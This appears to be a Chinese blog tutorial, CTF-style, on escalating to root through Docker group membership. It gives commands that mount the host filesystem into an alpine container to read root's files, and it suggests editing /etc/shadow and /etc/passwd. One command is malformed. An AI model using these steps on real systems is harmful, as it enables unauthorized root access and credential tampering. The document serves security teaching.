Docker提权

简介:

  • Docker 需要 root 权限:Docker 容器需要较高的权限(root 权限)才能在系统中创建、运行和管理容器。这是因为 Docker 本质上是虚拟化技术,它需要访问底层的系统资源,诸如网络、文件系统等,才能运行和隔离容器。

  • docker 组的用户拥有类似 root 权限

    • Docker 的守护进程(daemon)运行在系统的后台,它是以 root 用户权限运行的。
    • 如果某个用户被添加到了 docker 用户组中,该用户可以运行 Docker 命令(如 docker run 等),即使他不是 root 用户。
    • 关键点:由于 Docker 的守护进程会以 root 权限执行这些命令,拥有 Docker 组权限的用户实际上也获得了类似于 root 的访问权限,因为他们可以通过 Docker 间接执行具有 root 权限的操作,而不需要输入 root 用户的密码。

总结:如果一个用户被添加到 docker 组,就意味着他能够像 root 用户一样管理 Docker 容器和底层系统资源,尽管他不需要输入 root 的密码。这给系统安全带来了一定的隐患。拥有 docker 组权限的用户相当于拥有 root 权限的能力。

用法:

1、查看是否有docker组 

2、查看当前获取到的普通用户是否在docker组里面

3、查看容器,如果在,创建一个容器,

4、将容器内的 /mnt 目录将反映宿主机 /root 目录中的内容

5、也可以挂载/etc,对shadow和passwd文件进行操作

命令:

# 查看是否有 docker 组
getent group docker

# 查看docker组成员
cat /etc/group | grep docker

# 查看容器
docker images

# 挂载
docker run -v /root:/mnt it alphine

参数:

-v /root:/mnt:这个参数用于挂载卷(volume)。它的意思是将宿主机的 /root 目录挂载到容器内的 /mnt 目录。这意味着容器内的 /mnt 目录将反映宿主机 /root 目录中的内容。

it:运行命令后直接进入交互式shell界面,而不是让这个实例在后台运行。

alpine: 这是要运行的 Docker 镜像的名称。

案例:

1、查看是否有docker组 

getent group docker

2、查看当前获取到的普通用户是否在docker组里面

cat /etc/group | grep docker

3、查看容器

docker images

4、挂载

docker run -v /:/mnt -it alpine

5、提权

cd /mnt/root
cat ./root.txt

注意:将/挂载到/mnt下,所以想要进入root必需从/mnt/root下进入

参考文献:

一种通用的Docker提权方式 (360doc.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值